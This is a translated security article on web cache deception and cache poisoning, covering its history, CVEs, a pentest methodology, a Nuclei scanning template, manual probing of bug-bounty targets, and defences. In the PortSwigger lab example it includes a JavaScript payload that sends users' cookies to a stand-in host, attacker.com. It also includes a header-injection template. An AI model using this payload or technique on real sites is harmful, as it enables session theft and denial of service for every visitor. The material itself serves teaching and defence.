theory and practice

Caching is an effective architectural solution that is used today at all levels of computing systems, from processor and hard disk cache to web server cache and reverse proxies. It is the latter that will be discussed.

In this article, we will look at cache deception and cache poisoning attacks, focusing on the latter: we will trace the history of the emergence and development of the vulnerability, we will talk about cache engines and the latest CVEs associated with them. We’ll also try to figure out how to look for cache poisoning on real targets. We will describe the pentest methodology, assess the risks and consequences of operation, and outline general approaches to protection.

Content:

1. The essence of the problem

1.1 Introduction to Web Caching

The basic principle of a web cache is to store copies of the requested data so that repeated requests can retrieve the data more quickly, without requiring a second request to the original server. There are several types of web cache:

There are many benefits to using web cache. First of all, it is a significant increase in the speed of loading web pages, which improves the user experience. It also reduces the load on the server and saves network traffic.

1.2 Types of web cache attacks

As is often the case, convenience has its downside: using web caching can also create major security problems.

Most modern web cache attacks can actually be divided into two categories: cache cheating and cache poisoning. Each of these attacks has its own scenarios and subtypes.

Cache spoofing is an attack in which you can force the cache server to cache a non-existent static file, for example, which is supposedly linked to a directory with confidential data, for example: Ivanov_Ivan/account/nonexistence.css. If Ivan Ivanov follows such a link and the response is cached, then any person following this path will be able to obtain his confidential data or even his session without authentication, since the page with his account is cached as static.

The question arises: why should a non-existent static file be cached at all? Incorrect processing of regular expressions in the Django framework, for example, leads exactly to the cache cheating scenario described above. The figure below shows the use of regular expressions with a vulnerability to cache cheating.

And in the next figure there is a more correct option indicating the end of the regular expression.

Now about web cache poisoning. This is a type of attack in which an attacker injects malicious or fake content into the system cache.

For example, there is client cache poisoning. This is an attack in which malicious code is injected into the browser cache and resources (for example, JavaScript files) are spoofed in order to later use them to steal data, perform malicious actions, or distribute malware.

Browser cache poisoning can often occur, as with other types of cache poisoning, due to problems in the caching logic and incorrect configuration of http headers on the web server. Another reason could be the attacker's use of Service Worker scripts to intercept and modify cached requests. The result is caching of malicious content, which allows the attacker to control the responses returned by the browser.

But the topic of this article is cache poisoning of cache servers. And this attack is more serious than the ones described above because of its widespread impact: when a caching server is poisoned, every user who accesses its cache receives fake data.

Cache poisoning can go undetected for a long time because it can involve, for example, only javascript code running with no visible effects to the user. Or it may affect specific groups of users. If the poisoning targets users using all browsers except Chrome, which the security team assumes is used, then this could significantly increase their reaction time to the attack. This is possible if the User-Agent header is included in the cache key.

The point of a cache poisoning attack is to cause a malicious response from the server (or a response with an error code if the target is DoS) and cache this response for other users

Let's define the terms:

The cache key is those parameters of the client request, the immutability of which causes the cache server to issue a cached response, and changing them causes the original response from the server. The cache key is often represented as a hash of the values ​​of these parameters. In other words, these are several specific elements of an HTTP request (headers, paths, cookies, etc.) that are used to fully identify the requested resource.

Cache booster – an instruction to load a resource from the server, and not from the cache. This indication is given by changing the parameters included in the cache key.

Hidden headers are HTTP headers that are not standard or public, but can be used for a variety of purposes, including processing proxies, load balancers, and other middleware devices. These headers are often added by the server or intermediate devices and may not be obvious or known to the client.

Let's consider a simple case of cache poisoning using the example one of the laboratory works on Port Swigger:

We replace the initial value prod-cache-01 of the Cookie fehost parameter with any other character sets (in the figure above it is “test”), send requests with different values ​​of this parameter to the web application a couple of times and record two points:

  1. The X-Cache response header is miss when the first request is sent, and hit for the rest, regardless of the fehost value. This indicates that Cookies are not included in the cache key, meaning for all users the home page will be loaded from the cache server.

  2. The fehost value in the request is reflected in the page code. That is, we have reflected XSS.

Based on these two points, we understand that if for fehost we write, for example:

prod-cache-01» }; var img = new Image(); img.src="https://attacker.com/collect?cookies=" + encodeURIComponent(document.cookie); {»

Then the cookies of all users visiting the main page will be sent to the attacker’s resource unnoticed by them.

2. Immersion in the topic

2.1 History of the vulnerability

Mentions of the web cache poisoning vulnerability can be found since 2007. Earliest CVEassociated with web cache poisoning, according to the NVD database, was in the same year and was associated with a vulnerability in the Drupal CMS, when a massive DoS could be caused.

In 2009, a significant publication OWASP on this topic.

In the 2010s, relatively few cache poisoning incidents were recorded. For example, the 2011 vulnerability in Safari browser or in CMS Made Simple in 2016.

The topic received new life after the presentation “Practical Web Cache Poisoning: Redefining 'Unexploitable'” by Port Swigger researcher James Kittley at the 2018 Black Hat conference, who demonstrated new attack and defense techniques. After this speech, many CDN providers began to release various materials on the topic of web cache poisoning. Quite a lot of articles and research in general began to be published regularly.

Several CVEs from this year related to web cache poisoning:

Vulnerability in Apache Traffic Server versions 8.0.0-8.1.10 and 9.0.0-9.2.4.

Vulnerability in Mobya project for software containerization, up to version 24.0.9. An attacker, knowing the Dockerfile, can poison the cache, forcing the user to download a specially crafted image, which will be considered a valid cache for some build stages.

Vulnerability in IBM Datacap Navigator versions 9.1.5-9.1.9.

2.2 Cash engines

Cache engines are solutions that are used to cache web content. Cache engines can be called individual software solutions, solutions as part of a CDN, or simply caching functionality in frameworks and CMSs.

Among the popular software solutions, the first in quantity registered CVEs over the past couple of years can be called Apache Traffic Server. However, we should make a digression that the number of CVEs is not an indicator of the safety or unsafety of a product. The following factors can serve as indicators of product safety:

  • The software is actively used and developed.

  • The vendor encourages searching for vulnerabilities in its product.

  • New security bugs are processed and fixed quickly.

CVE should be relied upon as a basis for current and future research.

The world's leading CDN provider is Cloudflare, which has a good reputation for quickly responding to current cybersecurity challenges. So, in article Port Swigger from 10/06/2018 with an analysis of methods for protecting CDN providers from cache poisoning attacks, Cloudflare methods were rated as the best among others.

Let's note about CMS cache poisoning from the latest news vulnerability in TYPO3 from 05/30/2023. And also critical vulnerability in Drupal core from 09/21/2023.

As for frameworks, one of the most interesting studies of this year can be called a bughunter’s article about vulnerabilities in Next.js. One of the things discovered by the bug hunter was that Next.js is trying to solve the problem of self-caching when making requests to get RSC (React Server Components) data by adding a cache booster to the URL. However, this does not prevent attackers from poisoning the cache by sending requests with an rsc header without using a cache booster.

3. The practical side of the issue

3.1 Pentest methodology

Now let's try to create a methodology for investigating and exploiting web cache poisoning in real applications.

  1. Select a resource suitable for research, or “cache-oracle”.

Cache-oracle is a web page that provides researcher-friendly feedback on cache behavior. Feedback can manifest itself in different ways:

  1. Examine the caching logic and cache key, try to find hidden caching parameters.

The cache key is examined by asking our “oracle” to transform various parameters: deleting individual query parameters, deleting the entire query string, removing the port from the Host header, URL decoding, etc. Each such “question” is asked by sending two slightly different requests and seeing whether the second one causes a cache hit.

Further, by guessing, for example, hidden http headers associated with caching and substituting your own values ​​in them, you can unintentionally poison the cache for all users, which is a blunder for an ethical hacker performing a pentest with the condition not to harm the customer. Therefore, you should use a cash booster for each such “guessing”.

All this can be done either manually or using automation tools (be sure to exclude the impact on the system in the settings of the tool used). Here are some of them:

This is an open source extension for Burp Suite that automatically looks for non-obvious HTTP request parameters. Automatically inserts various parameters into requests and analyzes responses to identify parameters that could be used to poison the cache.

A tool to automate the detection of web application caching vulnerabilities. It analyzes changes in HTTP responses as headers are added, checks for differences in status codes and response lengths, and manipulates the Host header to add ports. Additionally, the tool automatically scans static files to identify other possible cache vulnerabilities.

Web Cache Vulnerability Scanner.

A fairly serious scanner written in Go to detect web cache vulnerabilities from Hackmanit. The scanner supports many different cache poisoning and spoofing techniques, supports URL testing, and can adapt to a specific cache for more efficient testing. Easily configured and integrated into existing DevOps processes.

Also, to study cache keys and hidden headers, it will be useful to study the available documentation of the CDNs, engines, frameworks and other things used, as well as the source code and possible information leaks.

  1. Exploitation of vulnerability.

Now you need to receive the malicious response from the server and cache it. The simplest thing that can often be done is to cause a denial of service (DoS) by causing, for example, a 403 server response and caching the result, meaning that all users of the application will receive this error instead of the requested page.

However, even if it is possible to cache these kinds of server responses, the best option is still to find additional vulnerabilities, such as reflected XSS, open redirect and others, which on their own might be harmless, but when combined with cache poisoning they reach a completely different level.

For example, using XSS, an attacker can inject a malicious script that will be executed in the browsers of users receiving cached pages. This can lead to theft of credentials, sessions, or even complete control over user accounts. Additionally, it is important to note that an attack can be directed not only at users, but also at internal systems if caching is not configured correctly. This could result in internal data, such as sensitive information or administrative interfaces, being exposed to attackers.

3.2 How not to look for cache poisoning

By and large, the first question that a pentester should have when considering cache poisoning in practice is the possibility of effective mass scanning of domains. After all, the main page of a site is cached quite often, so if such scanning were possible, it would greatly facilitate the detection of this vulnerability.

Let's check this ourselves, for which we will use the Nuclei scanner, popular among bughunters. Let's take a ready-made template for checking cache poisoning, which sends possible hidden http headers in a GET request and checks whether the values ​​of these headers are in the body of the received response. Let's edit this template by adding a lot of payload in the form of possible hidden headers:

info:
 name: Web Cache Poisoning
 author: sensa1ac
 severity: high

requests:
 - raw:
     - |
       GET /?cb=5893815815934534444 HTTP/1.1
       X-Forwarded-Prefix: cache.poison.com
       X-Forwarded-Host: cache.poison.com
       X-Forwarded-For: cache.poison.com
       X-Forwarded-Prefix: cache.poison.com
       X-Forwarded-Host: cache.poison.com
       X-Forwarded-Scheme: http
       X-Forwarded-Server: cache.poison.com
       X-Originating-Ip: cache.poison.com
       X-Orig-Client: cache.poison.com
       X-Original-Remote-Addr: cache.poison.com
       X-Original-Host: cache.poison.com
       X-Original-Url: cache.poison.com
       X-Originally-Forwarded-For: cache.poison.com
       X-Remote-Ip: cache.poison.com
       X-Remote-Addr: cache.poison.com
       X-Real-Ip: cache.poison.com
       X-Client-Ip: cache.poison.com
       X-Remote-Host: cache.poison.com
       X-From: cache.poison.com
       X-Host: cache.poison.com
       X-Http-Destinationurl: cache.poison.com
       X-Ip: cache.poison.com
       X-Server-Name: cache.poison.com
       XXX-Real-Ip: cache.poison.com
       Client-Ip: cache.poison.com
       Forwarded: cache.poison.com
       Forwarded-For: cache.poison.com
       Forwarded-For-Ip: cache.poison.com
       Pc-Remote-Addr: cache.poison.com
       Real-Ip: cache.poison.com
       Remote-Addr: cache.poison.com
       Remote-Host: cache.poison.com
       Remote-Host-Wp: cache.poison.com
       Remote-User: cache.poison.com
       Proxy-Connection: cache.poison.com
       Via: cache.poison.com
      
     - |
       GET /?cb=5893815815934534444 HTTP/1.1
   
   req-condition: true
   matchers:
     - type: dsl
       dsl:
         'contains(body_2, «cache.poison.com») == true'

Let's check the functionality of the template in laboratory work “Web cache poisoning with an unkeyed header” by Port Swigger.

Great, everything works. Now let's move on to the real goals for Bug Bounty. Let's collect a couple of thousand domains from domestic Standoff365 and a couple of hundred thousand from abroad HackerOne and scan them with our template.

Standoff365

Standoff365

Hackerone

Hackerone

But the result is the same:

Which clearly answers the question posed: cache poisoning must be looked for manually, and scanners must be used to work with a specific resource.

3.3 Hands – how is that?

In reality, everything is somewhat more complicated than simply finding everything we are looking for on the main page of a domain. Often, cache poisoning findings result from requests to automatically generated resources, rather than to the domain's home page. Such as /js/geolocate.js , /statistics/info.json?utm-content=foo and others, since it is in these resources that all the caching functionality is implemented and these resources, as practice shows, check user input poorly or not at all, which means they are the most vulnerable.

How to find parameters in requests to such resources without custom filtering? Well, for example, I log into my account of a well-known website of a company in Russia and the world that has placed its domains on HackerOne, so that, among other things, we can try to find something interesting with our own hands. It’s enough to look through a couple of pages of the site to see in Burp Suit this request to a script with statistics.

Let's pay attention to the values ​​of the Set-Cookie domain parameter. The main domain is now listed there. Having enabled the Param Miner extension with the “Guess headers” indication, we find the following:

In fact, in the matter of exploiting cache poisoning, this is all uninteresting just as much as it is a non-cacheable response, and the Set-Cookie domain parameter is generally an instruction for the browser (to send cookies to the specified domain and its subdomains).

However, we learned that the origin server expects the X-Host header from the proxy server: waiting and ready to process, even if it receives it from the client side, that is, from us.

Of note: the same company on another resource was discovered in the same way as above, the ability to control the value of the Access-Control-Allow-Origin header, as well as a hidden URL parameter “timeout”, the value of which determines the maximum time during which the proxy server will wait for a response from the server, which allows you to easily calculate the average time it takes a request from the proxy to the server, down to nanoseconds, since if the request does not complete within the specified time, a status of 500 will be received.

For the baghunter, all these scattered observations provide the basis for further manual research of the company’s domains and well-justified hopes of finding a serious cache poisoning with a chain of exploits.

4. To be or not to be cache poisoning

4.1 Possible consequences of operation

Now let's talk about the possible consequences of exploiting web cache poisoning.

As already mentioned when describing the pentest methodology, cache poisoning itself is often exploited by a denial of service, massive or selective (using http headers depending on the cache key), which is usually classified as a medium or high level of risk. However, in combination with other vulnerabilities, this can lead to very serious consequences, classified as a high-critical risk level.

Here are some examples of what can happen when web cache poisoning is combined with other vulnerabilities:

  1. Combination with XSS.

  1. Combination with CSRF.

  1. Combination with authentication vulnerabilities.

  1. Combination with vulnerabilities in business logic.

  1. Combination with server-level vulnerabilities.

4.2 Protection methods

Cache poisoning attacks primarily involve violations of the caching logic itself. However, even by adding certain headers that caused the vulnerability to the cache key, it cannot be said unequivocally that the problem has now been solved. The very complexity of caching provides a lot of scope for its study from an offensive security point of view.

Let's look at some common approaches to ensure secure web caching:

  1. Be careful about what content is cached, limit caching or disable it altogether if its use is not necessary (for example, many CDNs have caching enabled by default).

  2. Correct cache configuration: correct headers (Cache-Control, ETag, Vary), correct formation of the cache key.

  3. Do not ignore “harmless” vulnerabilities that lead to serious consequences in combination with cache poisoning: implement validation and cleaning of input data, as well as security headers (CSP, X-Content-Type-Options, X-XSS-Protection).

  4. Regular software updates. Since vulnerability to cache poisoning can come to us from the cache engines we use as part of CMS, frameworks and others.

Conclusion

To competently build a web caching system, you need to understand the basic concepts of cache attacks, methods for finding them and exploiting them by a potential attacker, which was also discussed in this article.

Because of the large potential risks, web caching vulnerabilities and web cache poisoning in particular will continue to be the subject of ongoing research.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *